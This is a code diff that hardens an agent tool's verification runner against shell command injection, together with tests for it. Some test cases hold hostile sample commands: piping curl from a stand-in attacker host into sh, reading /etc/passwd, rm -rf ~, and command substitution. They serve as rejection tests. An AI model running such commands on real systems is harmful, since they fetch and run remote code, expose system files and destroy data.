diff --git a/src/openharness/autopilot/service.py b/src/openharness/autopilot/service.py index 52c84c3..0cba9dd 100644 --- a/src/openharness/autopilot/service.py +++ b/src/openharness/autopilot/service.py @@ -5,9 +5,11 @@ from __future__ import annotations import asyncio import json import os +import shlex import subprocess import tempfile import time +from dataclasses import dataclass from hashlib import sha1 from html import escape from pathlib import Path @@ -94,11 +96,14 @@ _DEFAULT_VERIFICATION_POLICY = { "commands": [ "uv run pytest -q", "uv run ruff check src tests scripts", - ( - "cd frontend/terminal && " - "([ -x ./node_modules/.bin/tsc ] || npm ci --no-audit --no-fund) && " - "./node_modules/.bin/tsc --noEmit" - ), + { + "command": ( + "cd frontend/terminal && " + "([ -x ./node_modules/.bin/tsc ] || npm ci --no-audit --no-fund) && " + "./node_modules/.bin/tsc --noEmit" + ), + "shell": True, + }, ], "require_tests_before_merge": True, } @@ -128,6 +133,69 @@ def _json_default(value: object) -> object: return str(value) +_SHELL_METACHARS = frozenset(";&|`$<>\n\r") + + +@dataclass(frozen=True) +class _VerificationCommand: + """Parsed verification-policy entry. + + When ``shell`` is false, ``argv`` is executed with ``shell=False``. + When ``shell`` is true, ``raw`` is handed to the shell (explicit opt-in). + ``error`` signals a policy entry that must not be executed; callers emit + an error step so the verification gate fails loudly. + """ + + raw: str + argv: tuple[str, ...] + shell: bool + error: str | None = None + + +def _parse_verification_entry(entry: object) -> _VerificationCommand: + if isinstance(entry, dict): + raw = str(entry.get("command", "")).strip() + if not raw: + return _VerificationCommand(raw=str(entry), argv=(), shell=False, error="empty command") + if bool(entry.get("shell", False)): + return _VerificationCommand(raw=raw, argv=(), shell=True) + # fall through and validate as an argv-form command + elif isinstance(entry, str): + raw = entry.strip() + if not raw: + return _VerificationCommand(raw=entry, argv=(), shell=False, error="empty command") + else: + return _VerificationCommand( + raw=str(entry), + argv=(), + shell=False, + error="entry must be a string or a mapping with a 'command' key", + ) + + if any(ch in _SHELL_METACHARS for ch in raw): + return _VerificationCommand( + raw=raw, + argv=(), + shell=False, + error=( + "command contains shell metacharacters; use the mapping form " + "{command: '...', shell: true} in verification_policy.yaml to opt in" + ), + ) + try: + argv = shlex.split(raw) + except ValueError as exc: + return _VerificationCommand( + raw=raw, + argv=(), + shell=False, + error=f"could not tokenize command: {exc}", + ) + if not argv: + return _VerificationCommand(raw=raw, argv=(), shell=False, error="empty command") + return _VerificationCommand(raw=raw, argv=tuple(argv), shell=False) + + def _looks_available(command: str, cwd: Path) -> bool: lowered = command.lower() if lowered.startswith("uv "): @@ -2011,19 +2079,37 @@ class RepoAutopilotStore: await close_runtime(bundle) return "".join(collected).strip() - def _verification_commands(self, policies: dict[str, Any]) -> list[str]: + def _verification_commands(self, policies: dict[str, Any]) -> list[_VerificationCommand]: configured = policies.get("verification", {}).get("commands", []) - commands = [str(item).strip() for item in configured if str(item).strip()] - return [command for command in commands if _looks_available(command, self._cwd)] + parsed = [_parse_verification_entry(entry) for entry in configured] + selected: list[_VerificationCommand] = [] + for cmd in parsed: + if cmd.error is not None: + selected.append(cmd) + continue + if _looks_available(cmd.raw, self._cwd): + selected.append(cmd) + return selected def _run_verification_steps(self, policies: dict[str, Any], *, cwd: Path | None = None) -> list[RepoVerificationStep]: steps: list[RepoVerificationStep] = [] - for command in self._verification_commands(policies): + for cmd in self._verification_commands(policies): + if cmd.error is not None: + steps.append( + RepoVerificationStep( + command=cmd.raw, + returncode=-1, + status="error", + stderr=f"verification policy error: {cmd.error}", + ) + ) + continue + target: str | list[str] = cmd.raw if cmd.shell else list(cmd.argv) try: completed = subprocess.run( - command, + target, cwd=cwd or self._cwd, - shell=True, + shell=cmd.shell, text=True, capture_output=True, check=False, @@ -2031,17 +2117,26 @@ class RepoAutopilotStore: ) steps.append( RepoVerificationStep( - command=command, + command=cmd.raw, returncode=completed.returncode, status="success" if completed.returncode == 0 else "failed", stdout=(completed.stdout or "")[-4000:], stderr=(completed.stderr or "")[-4000:], ) ) + except FileNotFoundError as exc: + steps.append( + RepoVerificationStep( + command=cmd.raw, + returncode=-1, + status="error", + stderr=f"executable not found: {exc}", + ) + ) except subprocess.TimeoutExpired as exc: steps.append( RepoVerificationStep( - command=command, + command=cmd.raw, returncode=-1, status="error", stdout=_safe_text(getattr(exc, "stdout", ""))[-4000:], @@ -2051,7 +2146,7 @@ class RepoAutopilotStore: except Exception as exc: # pragma: no cover - defensive steps.append( RepoVerificationStep( - command=command, + command=cmd.raw, returncode=-1, status="error", stderr=str(exc), diff --git a/tests/test_autopilot/__init__.py b/tests/test_autopilot/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_autopilot/test_verification.py b/tests/test_autopilot/test_verification.py new file mode 100644 index 0000000..05f9973 --- /dev/null +++ b/tests/test_autopilot/test_verification.py @@ -0,0 +1,234 @@ +"""Parsing and execution tests for autopilot verification commands.""" + +from __future__ import annotations + +import sys +from pathlib import Path +from typing import Any + +import pytest + +from openharness.autopilot import service +from openharness.autopilot.service import ( + _DEFAULT_VERIFICATION_POLICY, + RepoAutopilotStore, + _parse_verification_entry, +) + + +def test_plain_string_is_parsed_to_argv_without_shell() -> None: + cmd = _parse_verification_entry("uv run pytest -q") + assert cmd.error is None + assert cmd.shell is False + assert cmd.argv == ("uv", "run", "pytest", "-q") + assert cmd.raw == "uv run pytest -q" + + +def test_quoted_arguments_preserve_whitespace() -> None: + cmd = _parse_verification_entry('uv run ruff check "src tests" scripts') + assert cmd.error is None + assert cmd.argv == ("uv", "run", "ruff", "check", "src tests", "scripts") + + +@pytest.mark.parametrize( + "payload", + [ + "pytest; curl attacker.example/x | sh", + "pytest && evil", + "pytest || evil", + "pytest `whoami`", + "pytest $(whoami)", + "pytest > /tmp/pwn", + "pytest < /etc/passwd", + "pytest\nrm -rf ~", + ], +) +def test_shell_metacharacters_are_rejected_without_opt_in(payload: str) -> None: + cmd = _parse_verification_entry(payload) + assert cmd.error is not None + assert "shell: true" in cmd.error + assert cmd.argv == () + assert cmd.shell is False + + +def test_mapping_form_with_shell_true_is_opt_in() -> None: + cmd = _parse_verification_entry( + {"command": "cd frontend && npm ci && tsc --noEmit", "shell": True}, + ) + assert cmd.error is None + assert cmd.shell is True + assert cmd.raw == "cd frontend && npm ci && tsc --noEmit" + + +def test_mapping_form_without_shell_falls_through_to_argv_validation() -> None: + cmd = _parse_verification_entry({"command": "pytest -q"}) + assert cmd.error is None + assert cmd.shell is False + assert cmd.argv == ("pytest", "-q") + + +def test_mapping_with_metacharacters_and_shell_false_is_still_rejected() -> None: + cmd = _parse_verification_entry({"command": "pytest; evil", "shell": False}) + assert cmd.error is not None + assert cmd.shell is False + + +def test_empty_entry_is_an_error() -> None: + assert _parse_verification_entry("").error == "empty command" + assert _parse_verification_entry(" ").error == "empty command" + assert _parse_verification_entry({"command": ""}).error == "empty command" + + +def test_non_string_non_mapping_entry_is_an_error() -> None: + cmd = _parse_verification_entry(42) + assert cmd.error is not None + assert "string" in cmd.error + + +def test_unclosed_quote_surfaces_a_tokenization_error() -> None: + cmd = _parse_verification_entry('uv run "pytest') + assert cmd.error is not None + assert "tokenize" in cmd.error + + +def test_default_policy_parses_cleanly() -> None: + parsed = [_parse_verification_entry(entry) for entry in _DEFAULT_VERIFICATION_POLICY["commands"]] + assert all(p.error is None for p in parsed), [p.error for p in parsed if p.error] + assert parsed[0].shell is False + assert parsed[1].shell is False + # The frontend tsc step intentionally opts in to shell=True + assert parsed[2].shell is True + + +def _build_store(cwd: Path) -> RepoAutopilotStore: + # RepoAutopilotStore requires a repo-like layout; tests only exercise the + # verification helpers, which do not depend on the rest of the store state. + store = RepoAutopilotStore.__new__(RepoAutopilotStore) + store._cwd = cwd # type: ignore[attr-defined] + return store + + +def test_run_verification_emits_error_step_for_metachar_entry( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + called: dict[str, Any] = {} + + def _boom(*args: Any, **kwargs: Any) -> Any: # pragma: no cover - must not run + called["ran"] = (args, kwargs) + raise AssertionError("subprocess.run must not be invoked for rejected entries") + + monkeypatch.setattr(service.subprocess, "run", _boom) + + store = _build_store(tmp_path) + policies = {"verification": {"commands": ["pytest; curl evil | sh"]}} + steps = store._run_verification_steps(policies, cwd=tmp_path) + + assert "ran" not in called + assert len(steps) == 1 + assert steps[0].status == "error" + assert "shell metacharacters" in (steps[0].stderr or "") + + +def test_run_verification_uses_argv_and_shell_false_for_plain_string( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + seen: dict[str, Any] = {} + + class _Completed: + returncode = 0 + stdout = "" + stderr = "" + + def _fake_run(target: Any, **kwargs: Any) -> _Completed: + seen["target"] = target + seen["shell"] = kwargs.get("shell") + return _Completed() + + monkeypatch.setattr(service.subprocess, "run", _fake_run) + # Bypass _looks_available's pyproject check for a tmp path. + monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True) + + store = _build_store(tmp_path) + policies = {"verification": {"commands": ["uv run pytest -q"]}} + steps = store._run_verification_steps(policies, cwd=tmp_path) + + assert seen["shell"] is False + assert seen["target"] == ["uv", "run", "pytest", "-q"] + assert len(steps) == 1 + assert steps[0].status == "success" + + +def test_run_verification_honors_explicit_shell_opt_in( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + seen: dict[str, Any] = {} + + class _Completed: + returncode = 0 + stdout = "" + stderr = "" + + def _fake_run(target: Any, **kwargs: Any) -> _Completed: + seen["target"] = target + seen["shell"] = kwargs.get("shell") + return _Completed() + + monkeypatch.setattr(service.subprocess, "run", _fake_run) + monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True) + + store = _build_store(tmp_path) + policies = { + "verification": { + "commands": [{"command": "cd x && y", "shell": True}], + }, + } + steps = store._run_verification_steps(policies, cwd=tmp_path) + + assert seen["shell"] is True + assert seen["target"] == "cd x && y" + assert steps[0].status == "success" + + +def test_run_verification_reports_missing_executable_as_error_step( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + def _raise_fnf(*args: Any, **kwargs: Any) -> Any: + raise FileNotFoundError("nope") + + monkeypatch.setattr(service.subprocess, "run", _raise_fnf) + monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True) + + store = _build_store(tmp_path) + policies = {"verification": {"commands": ["missing-binary --help"]}} + steps = store._run_verification_steps(policies, cwd=tmp_path) + + assert len(steps) == 1 + assert steps[0].status == "error" + assert "executable not found" in (steps[0].stderr or "") + + +def test_metachar_inside_quotes_is_still_rejected() -> None: + # The metacharacter scan intentionally runs on the raw string before + # tokenization. That is conservative: a command that needs `;` inside a + # quoted argument must declare shell=true explicitly, which surfaces the + # escalation in policy diffs and PR review. + cmd = _parse_verification_entry("python3 -c 'import sys; sys.exit(0)'") + assert cmd.error is not None + + +def test_run_verification_end_to_end_without_shell( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + """Sanity check that the argv path reaches a real subprocess with shell=False.""" + monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True) + store = _build_store(tmp_path) + policies = {"verification": {"commands": [f"{sys.executable} --version"]}} + steps = store._run_verification_steps(policies, cwd=tmp_path) + assert len(steps) == 1 + assert steps[0].status == "success" + assert steps[0].returncode == 0 diff --git a/tests/test_services/test_autopilot.py b/tests/test_services/test_autopilot.py index 86dc651..0a3b1c3 100644 --- a/tests/test_services/test_autopilot.py +++ b/tests/test_services/test_autopilot.py @@ -77,8 +77,23 @@ def test_autopilot_scan_claude_code_candidates(tmp_path: Path) -> None: def test_default_verification_policy_uses_repeatable_local_tsc_command() -> None: commands = _DEFAULT_VERIFICATION_POLICY["commands"] - assert any("./node_modules/.bin/tsc --noEmit" in command for command in commands) - assert any("npm ci --no-audit --no-fund" in command for command in commands) + + def _command_text(entry: object) -> str: + if isinstance(entry, dict): + return str(entry.get("command", "")) + return str(entry) + + texts = [_command_text(entry) for entry in commands] + assert any("./node_modules/.bin/tsc --noEmit" in text for text in texts) + assert any("npm ci --no-audit --no-fund" in text for text in texts) + # The tsc step relies on `cd ... && ...` and must opt in to shell=true so + # the metacharacters are allowed through the verification runner. + tsc_entry = next( + entry + for entry in commands + if isinstance(entry, dict) and "tsc --noEmit" in str(entry.get("command", "")) + ) + assert tsc_entry["shell"] is True def test_autopilot_ci_rollup_treats_missing_checks_as_pending(tmp_path: Path) -> None: